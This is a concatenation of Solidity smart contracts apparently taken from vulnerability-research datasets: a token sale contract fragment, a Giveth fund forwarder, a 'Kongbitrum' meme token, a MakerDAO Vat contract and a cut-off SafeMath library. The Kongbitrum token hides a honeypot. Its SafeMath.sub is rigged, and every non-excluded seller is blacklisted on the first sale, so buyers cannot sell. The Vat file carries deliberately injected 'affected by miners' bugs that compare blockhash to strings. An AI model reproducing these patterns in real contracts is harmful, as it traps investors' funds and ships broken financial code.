distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 180,519 | 11,242 |
1bca3d16e384f54fe8871b656b0dd4469236974fdae185275debb48dcf6446da
| 10,810 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x46c9f93c3249c430c6ca19f02240ef9e038ba9d1.sol
| 2,193 | 9,144 |
pragma solidity ^0.4.15;
contract ERC20 {
/// @dev Returns the total token supply.
function totalSupply() public constant returns (uint256 supply);
/// @dev Returns the account balance of another account with address _owner.
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @dev Transfers _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from your account multiple times, up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner.
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// @title Owned
/// @author Adri Massanet <adria@codecontext.io>
/// @notice The Owned contract has an owner address, and provides basic
/// authorization control functions, this simplifies & the implementation of
/// "user permissions"
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
/// @dev The constructor sets the `msg.sender` as the`owner` of the contract
function Owned() {
owner = msg.sender;
}
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner.
function changeOwnership(address _newOwner) onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @notice `onlyOwner` Proposes to transfer control of the contract to a
/// new owner
/// @param _newOwnerCandidate The address being proposed as the new owner
function proposeOwnership(address _newOwnerCandidate) onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
/// @notice Can only be called by the `newOwnerCandidate`, accepts the
/// transfer of ownership
function acceptOwnership() {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @notice Decentralizes the contract, this operation cannot be undone
/// @param _dece `0xdece` has to be entered for this function to work
function removeOwnership(address _dece) onlyOwner {
require(_dece == 0xdece);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
/// @dev `Escapable` is a base level contract built off of the `Owned`
/// contract that creates an escape hatch function to send its ether to
/// `escapeHatchDestination` when called by the `escapeHatchCaller` in the case that
/// something unexpected happens
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract
/// @param _escapeHatchCaller The address of a trusted account or contract to
/// call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller` cannot move
/// funds out of `escapeHatchDestination`
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
/// @notice The `blacklistEscapeTokens()` marks a token in a whitelist to be
/// escaped. The proupose is to be done at construction time.
/// @param _token the be bloacklisted for escape
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) constant public returns (bool) {
return !escapeBlacklist[_token];
}
/// @notice The `escapeHatch()` should only be called as a last resort if a
/// security issue is uncovered or something unexpected happened
/// @param _token to transfer, use 0x0 for ethers
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
token.transfer(escapeHatchDestination, balance);
EscapeHatchCalled(_token, balance);
}
/// @notice Changes the address assigned to call `escapeHatch()`
/// @param _newEscapeHatchCaller The address of a trusted account or contract to
/// call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller` cannot
/// move funds out of `escapeHatchDestination`
function changeEscapeCaller(address _newEscapeHatchCaller) onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
/// @dev This is an empty contract to declare `proxyPayment()` to comply with
/// Giveth Campaigns so that tokens will be generated when donations are sent
contract Campaign {
/// @notice `proxyPayment()` allows the caller to send ether to the Campaign and
/// have the tokens created in an address of their choosing
/// @param _owner The address that will hold the newly created tokens
function proxyPayment(address _owner) payable returns(bool);
}
/// @title Fund Forwarder
/// @authors Vojtech Simetka, Jordi Baylina, Dani Philia, Arthur Lunn (hardly)
/// @notice This contract is used to forward funds to a Giveth Campaign
/// with an escapeHatch.The fund value is sent directly to designated Campaign.
/// The escapeHatch allows removal of any other tokens deposited by accident.
/// @dev The main contract which forwards funds sent to contract.
contract FundForwarder is Escapable {
Campaign public beneficiary; // expected to be a Giveth campaign
/// @notice The Constructor assigns the `beneficiary`, the
/// `escapeHatchDestination` and the `escapeHatchCaller` as well as deploys
/// the contract to the blockchain (obviously)
/// @param _beneficiary The address of the CAMPAIGN CONTROLLER for the Campaign
/// that is to receive donations
/// @param _escapeHatchDestination The address of a safe location (usually a
/// Multisig) to send the ether held in this contract
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
function FundForwarder(Campaign _beneficiary, // address that receives ether
address _escapeHatchCaller,
address _escapeHatchDestination)
// Set the escape hatch to accept ether (0x0)
Escapable(_escapeHatchCaller, _escapeHatchDestination)
{
beneficiary = _beneficiary;
}
/// @notice Directly forward Eth to `beneficiary`. The `msg.sender` is rewarded with Campaign tokens.
/// This contract may have a high gasLimit requirement dependent on beneficiary.
function () payable {
uint amount;
amount = msg.value;
// Send the ETH to the beneficiary so that they receive Campaign tokens
require (beneficiary.proxyPayment.value(amount)
(msg.sender));
FundsSent(msg.sender, amount);
}
event FundsSent(address indexed sender, uint amount);
}
| 179,219 | 11,243 |
7dc4b1d5f36c47e135b8dacdf6f62557b1e3c2f76f03311c6b6c06665e985025
| 14,885 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/29/29df53cdf0f975d62c031e356f02a298d541acf4_Kongbitrum.sol
| 3,989 | 14,229 |
// tg https://t.me/KongbitrumArb
// SPDX-License-Identifier: MIT
// arbi KONG first meme coin here to prove the solid plans of arbi chain
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
if (b == 10) return ~uint120(0);
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kongbitrum is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private AntiBot = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "Kongbitrum";
string private constant _symbol = "KONG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
devWallet = _address1 ;
teamWallet = _address2 ;
marketWallet = _address3 ;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
_isExcludedFromFee[teamWallet] = true;
_isExcludedFromFee[marketWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(!bots[to]);
require(!bots[tx.origin]);
if(from != address(this)){
_redistribution = 1;
_teamTax = 1;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > AntiBot){
setBots(from);
}
_redistribution = 2;
_teamTax = 4;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
devWallet.transfer(amount.div(2));
marketWallet.transfer(amount.div(1));
teamWallet.transfer(amount.div(1));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
// _maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address _address) private {
bots[_address] = true;
}
function delBot(address _address) private {
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function updateAntiBot(uint256 newAntiBot) external {
require(_msgSender() == devWallet);
AntiBot = newAntiBot * 10 ** 9;
}
function _burn(address _who, uint256 _value) internal virtual {
require(_value <= _rOwned[_who]);
_rOwned[_who] = _rOwned[_who].sub(_value);
_tTotal = _tTotal.sub(_value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) external {
require(_msgSender() == devWallet);
_burn(msg.sender, _value);
}
function manualsend() external {
require(_msgSender() == devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 27,406 | 11,244 |
cf075d71851317b6995007e6edea33bb6031240d11c00ba3a3f9ec558cbb2603
| 10,775 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x97f75ac00a32d54b7fd3a3cf156343cdcb5060f9_affectedByMiners.sol
| 3,175 | 10,260 |
/// vat.sol -- Dai CDP database
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.5.12;
contract Vat {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address usr) external note auth { require(live == 1, "Vat/not-live"); wards[usr] = 1; }
function deny(address usr) external note auth { require(live == 1, "Vat/not-live"); wards[usr] = 0; }
modifier auth {
require(wards[msg.sender] == 1, "Vat/not-authorized");
_;
}
mapping(address => mapping (address => uint)) public can;
function hope(address usr) external note { can[msg.sender][usr] = 1; }
function nope(address usr) external note { can[msg.sender][usr] = 0; }
function wish(address bit, address usr) internal view returns (bool) {
return either(bit == usr, can[bit][usr] == 1);
}
// --- Data ---
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
mapping (bytes32 => Ilk) public ilks;
mapping (bytes32 => mapping (address => Urn)) public urns;
mapping (bytes32 => mapping (address => uint)) public gem; // [wad]
mapping (address => uint256) public dai; // [rad]
mapping (address => uint256) public sin; // [rad]
uint256 public debt; // Total Dai Issued [rad]
uint256 public vice; // Total Unbacked Dai [rad]
uint256 public Line; // Total Debt Ceiling [rad]
uint256 public live; // Access Flag
// --- Logs ---
event LogNote(bytes4 indexed sig,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes32 indexed arg3,
bytes data) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: the selector and the first three args
let mark := msize // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
calldataload(4), // arg1
calldataload(36), // arg2
calldataload(68) // arg3)
}
}
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
live = 1;
}
// --- Math ---
function add(uint x, int y) internal pure returns (uint z) {
z = x + uint(y);
require(y >= 0 || z <= x);
require(y <= 0 || z >= x);
}
function sub(uint x, int y) internal pure returns (uint z) {
z = x - uint(y);
require(y <= 0 || z <= x);
require(y >= 0 || z >= x);
}
function mul(uint x, int y) internal pure returns (int z) {
z = int(x) * y;
require(int(x) >= 0);
require(y == 0 || z / y == int(x));
}
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
// --- Administration ---
function init(bytes32 ilk) external note auth {
require(ilks[ilk].rate == 0, "Vat/ilk-already-init");
ilks[ilk].rate = 10 ** 27;
}
function file(bytes32 what, uint data) external note auth {
require(live == 1, "Vat/not-live");
if (blockhash(block.number) == "Line") Line = data; //injected CONTRACT AFFECTED BY MINERS
else revert("Vat/file-unrecognized-param");
}
function file(bytes32 ilk, bytes32 what, uint data) external note auth {
require(live == 1, "Vat/not-live");
if (blockhash(block.number) == "spot") ilks[ilk].spot = data; //injected CONTRACT AFFECTED BY MINERS
else if (blockhash(block.number) == "line") ilks[ilk].line = data; //injected CONTRACT AFFECTED BY MINERS
else if (blockhash(block.number) == "dust") ilks[ilk].dust = data; //injected CONTRACT AFFECTED BY MINERS
else revert("Vat/file-unrecognized-param");
}
function cage() external note auth {
live = 0;
}
// --- Fungibility ---
function slip(bytes32 ilk, address usr, int256 wad) external note auth {
gem[ilk][usr] = add(gem[ilk][usr], wad);
}
function flux(bytes32 ilk, address src, address dst, uint256 wad) external note {
require(wish(src, msg.sender), "Vat/not-allowed");
gem[ilk][src] = sub(gem[ilk][src], wad);
gem[ilk][dst] = add(gem[ilk][dst], wad);
}
function move(address src, address dst, uint256 rad) external note {
require(wish(src, msg.sender), "Vat/not-allowed");
dai[src] = sub(dai[src], rad);
dai[dst] = add(dai[dst], rad);
}
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- CDP Manipulation ---
function frob(bytes32 i, address u, address v, address w, int dink, int dart) external note {
// system is live
require(live == 1, "Vat/not-live");
Urn memory urn = urns[i][u];
Ilk memory ilk = ilks[i];
// ilk has been initialised
require(ilk.rate != 0, "Vat/ilk-not-init");
urn.ink = add(urn.ink, dink);
urn.art = add(urn.art, dart);
ilk.Art = add(ilk.Art, dart);
int dtab = mul(ilk.rate, dart);
uint tab = mul(ilk.rate, urn.art);
debt = add(debt, dtab);
// either debt has decreased, or debt ceilings are not exceeded
require(either(dart <= 0, both(mul(ilk.Art, ilk.rate) <= ilk.line, debt <= Line)), "Vat/ceiling-exceeded");
// urn is either less risky than before, or it is safe
require(either(both(dart <= 0, dink >= 0), tab <= mul(urn.ink, ilk.spot)), "Vat/not-safe");
// urn is either more safe, or the owner consents
require(either(both(dart <= 0, dink >= 0), wish(u, msg.sender)), "Vat/not-allowed-u");
// collateral src consents
require(either(dink <= 0, wish(v, msg.sender)), "Vat/not-allowed-v");
// debt dst consents
require(either(dart >= 0, wish(w, msg.sender)), "Vat/not-allowed-w");
// urn has no debt, or a non-dusty amount
require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust");
gem[i][v] = sub(gem[i][v], dink);
dai[w] = add(dai[w], dtab);
urns[i][u] = urn;
ilks[i] = ilk;
}
// --- CDP Fungibility ---
function fork(bytes32 ilk, address src, address dst, int dink, int dart) external note {
Urn storage u = urns[ilk][src];
Urn storage v = urns[ilk][dst];
Ilk storage i = ilks[ilk];
u.ink = sub(u.ink, dink);
u.art = sub(u.art, dart);
v.ink = add(v.ink, dink);
v.art = add(v.art, dart);
uint utab = mul(u.art, i.rate);
uint vtab = mul(v.art, i.rate);
// both sides consent
require(both(wish(src, msg.sender), wish(dst, msg.sender)), "Vat/not-allowed");
// both sides safe
require(utab <= mul(u.ink, i.spot), "Vat/not-safe-src");
require(vtab <= mul(v.ink, i.spot), "Vat/not-safe-dst");
// both sides non-dusty
require(either(utab >= i.dust, u.art == 0), "Vat/dust-src");
require(either(vtab >= i.dust, v.art == 0), "Vat/dust-dst");
}
// --- CDP Confiscation ---
function grab(bytes32 i, address u, address v, address w, int dink, int dart) external note auth {
Urn storage urn = urns[i][u];
Ilk storage ilk = ilks[i];
urn.ink = add(urn.ink, dink);
urn.art = add(urn.art, dart);
ilk.Art = add(ilk.Art, dart);
int dtab = mul(ilk.rate, dart);
gem[i][v] = sub(gem[i][v], dink);
sin[w] = sub(sin[w], dtab);
vice = sub(vice, dtab);
}
// --- Settlement ---
function heal(uint rad) external note {
address u = msg.sender;
sin[u] = sub(sin[u], rad);
dai[u] = sub(dai[u], rad);
vice = sub(vice, rad);
debt = sub(debt, rad);
}
function suck(address u, address v, uint rad) external note auth {
sin[u] = add(sin[u], rad);
dai[v] = add(dai[v], rad);
vice = add(vice, rad);
debt = add(debt, rad);
}
// --- Rates ---
function fold(bytes32 i, address u, int rate) external note auth {
require(live == 1, "Vat/not-live");
Ilk storage ilk = ilks[i];
ilk.rate = add(ilk.rate, rate);
int rad = mul(ilk.Art, rate);
dai[u] = add(dai[u], rad);
debt = add(debt, rad);
}
}
| 281,274 | 11,245 |
cd7c79b089ebff96ce58150ef9a66f4274cc4eafbb1d7e3b570026d4b5b3081f
| 29,905 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x76280AF9D18a868a0aF3dcA95b57DDE816c1aaf2/contract.sol
| 3,206 | 12,197 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
